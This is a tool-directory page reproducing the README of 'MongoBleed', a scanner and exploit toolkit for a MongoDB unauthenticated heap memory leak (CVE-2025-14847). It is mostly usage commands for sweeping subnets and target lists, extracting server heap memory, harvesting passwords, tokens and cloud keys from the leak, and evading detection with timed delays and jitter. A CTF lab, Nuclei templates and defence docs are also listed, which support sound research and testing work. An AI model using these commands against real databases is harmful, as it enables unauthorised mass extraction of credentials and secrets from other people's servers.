Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
MongoBleed — CVE-2025-14847 (MongoBleed) scanner and exploit tool. Unauthenticated MongoDB heap memory leak via zlib decompression. Detection, memory extraction, credential parsing, CIDR/batch scanning, Nuclei templates, and CTF lab included | Kitploit
Tools/GitHubGitHub/sho-luv/mongobleed
Vulnerability ScannersMemory ForensicsNetwork MappingExploitationCTFPenetration TestingLearning & EducationDatabase SecurityLabs & Practice
GitHubsho-luv/mongobleed

MongoBleed

CVE-2025-14847 (MongoBleed) scanner and exploit tool. Unauthenticated MongoDB heap memory leak via zlib decompression. Detection, memory extraction, credential parsing, CIDR/batch scanning, Nuclei templates, and CTF lab included

2208 months agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

MongoBleed

CVE-2025-14847 Scanner and Exploitation Toolkit

A security research toolkit for MongoBleed -- a critical unauthenticated memory leak in MongoDB's zlib decompression that allows attackers to extract sensitive data from server heap memory without authentication.

╔╦╗┌─┐┌┐┌┌─┐┌─┐╔╗ ┬  ┌─┐┌─┐┌┬┐
║║║│ │││││ ┬│ │╠╩╗│  ├┤ ├┤  ││
╩ ╩└─┘┘└┘└─┘└─┘╚═╝┴─┘└─┘└─┘─┴┘
CVE-2025-14847 Scanner & Exploit

Quick Start

# No external dependencies -- Python 3 standard library only
cd cli

# Detect if a target is vulnerable (default action)
python mongobleed.py -t localhost:27017

# Scan an entire subnet
python mongobleed.py -t 192.168.1.0/24

# Extract memory and parse for credentials
python mongobleed.py -t target:27017 -e --credentials

# Safe mode -- detection only, no exploitation
python mongobleed.py -t target:27017 -s

Repository Structure

MongoBleed/
├── cli/                          # Command-line scanner and exploitation tool
│   ├── mongobleed.py             # Main CLI tool
│   ├── requirements.txt          # Python dependencies (stdlib only)
│   └── README.md                 # CLI documentation
├── lab/                          # Docker-based CTF lab environment
│   ├── docker-compose.yml        # Multi-container lab setup
│   ├── vulnerable/               # Vulnerable MongoDB configurations
│   ├── patched/                  # Patched MongoDB for comparison
│   ├── no-zlib/                  # Non-exploitable (zlib disabled)
│   ├── monitoring/               # Attack visualization dashboard
│   ├── warmup-heap.sh            # Populate heap with sensitive data
│   └── README.md                 # Lab setup instructions
├── nuclei/                       # Nuclei scanning templates
│   ├── CVE-2025-14847.yaml       # Active exploitation template
│   ├── CVE-2025-14847-safe.yaml  # Safe detection template
│   └── README.md                 # Nuclei template docs
├── docs/                         # Educational documentation
│   ├── README.md                 # Learning path index
│   ├── 01-fundamentals.md        # MongoDB & memory basics
│   ├── 02-vulnerability.md       # CVE-2025-14847 deep dive
│   ├── 03-exploitation.md        # Hands-on exploitation
│   ├── 04-detection.md           # Hunting and detection
│   └── 05-defense.md             # Mitigation strategies
└── README.md                     # This file

Features

CLI Tool

  • Version fingerprinting and compression detection (zlib/snappy/zstd)
  • Vulnerability detection with safe mode option
  • Memory extraction via offset scanning (configurable range)
  • Credential pattern detection (16 patterns: passwords, API keys, JWTs, AWS keys, MongoDB URIs, etc.)
  • CIDR notation support (192.168.1.0/24, 10.0.0.0/16:27018)
  • Batch scanning from target files with multi-threading
  • Continuous extraction mode
  • Hexdump and printable string extraction
  • JSON output and file export
  • Evasion controls (delay, jitter)
  • Colored terminal output

Lab Environment

  • Multiple vulnerable MongoDB versions (4.4.29, 6.0.26, 8.0.16)
  • Patched version for comparison (8.0.17)
  • No-zlib version demonstrating mitigation
  • Pre-seeded with realistic sensitive data
  • CTF-style flags for learning
  • Monitoring dashboard with attack visualization
  • Heap warmup script for reliable exploitation demos

Nuclei Templates

  • Safe detection template (version + compression check only)
  • Active exploitation template (version + zlib confirmation)

Usage

Detection

# Check single target
python mongobleed.py -t localhost:27017

# Check with verbose output
python mongobleed.py -t localhost:27017 -v

# Safe mode -- detection only, never sends exploit payload
python mongobleed.py -t localhost:27017 -s

# Show version info
python mongobleed.py -t localhost:27017 --version

Network Scanning

# Scan a /24 subnet
python mongobleed.py -t 192.168.1.0/24

# CIDR with custom port
python mongobleed.py -t 10.0.0.0/24:27018

# Scan from target file (CIDR ranges in file are expanded)
python mongobleed.py -T targets.txt -j 20 -o results.json

# Target file can contain IPs, host:port, and CIDR ranges
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017

Memory Extraction

# Extract memory (default offset range 20-8192)
python mongobleed.py -t target:27017 -e

# Custom offset range
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500

# Continuous extraction (Ctrl+C to stop)
python mongobleed.py -t target:27017 --continuous

# Force extraction even if version check is inconclusive
python mongobleed.py -t target:27017 -e --force

Analysis

# Parse leaked memory for credentials and secrets
python mongobleed.py -t target:27017 -e --credentials

# Parse for tokens specifically
python mongobleed.py -t target:27017 -e --tokens

# Extract printable strings
python mongobleed.py -t target:27017 -e --strings

# Hexdump output
python mongobleed.py -t target:27017 -e --hexdump

Evasion

# Add delay between requests (milliseconds)
python mongobleed.py -t target:27017 -e --delay 500

# Random jitter on delay
python mongobleed.py -t target:27017 -e --delay 1000 --jitter

Nuclei Templates

# Safe detection only
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017

# Active detection
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017

# Scan multiple targets
nuclei -t nuclei/ -l targets.txt

Lab Environment

# Start all containers
cd lab && docker compose up -d

# Services:
# - localhost:27017  MongoDB 4.4.29 (Vulnerable + zlib)
# - localhost:27018  MongoDB 6.0.26 (Vulnerable + zlib)
# - localhost:27019  MongoDB 8.0.16 (Vulnerable + zlib)
# - localhost:27020  MongoDB 8.0.17 (Patched)
# - localhost:27021  MongoDB 8.0.16 (No zlib - not exploitable)
# - localhost:8080   Monitoring Dashboard

# Warm up heap with sensitive data before exploitation
./warmup-heap.sh 27017 50

# Run exploit against lab
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials

CLI Options

Target:
  -t, --target TARGET     Target host:port or CIDR range (e.g. 192.168.1.0/24)
  -T, --targets FILE      File with target list (supports CIDR per line)

Detection:
  --detect                Detect if target is vulnerable (default action)
  --version               Show MongoDB version
  -s, --safe              Safe mode - detection only, no exploitation

Exploitation:
  -e, --extract           Extract memory via offset scanning
  --min-offset N          Minimum offset to probe (default: 20)
  --max-offset N          Maximum offset to probe (default: 8192)
  --continuous            Continuous extraction mode
  --force                 Force extraction even if version check fails

Analysis:
  --credentials           Parse for credentials
  --tokens                Parse for tokens
  --strings               Extract printable strings
  --hexdump               Display hexdump

Evasion:
  --delay MS              Delay between requests (milliseconds)
  --jitter                Random delay jitter

Output:
  -o, --output FILE       Output file (JSON)
  -v, --verbose           Verbose output
  -q, --quiet             Quiet mode
  --json                  JSON output
  --no-color              Disable colors

Connection:
  --timeout SECS          Connection timeout (default: 10)
  -j, --threads N         Threads for batch scanning (default: 10)

Credential Detection Patterns

The tool searches extracted memory for the following patterns:

Download Tool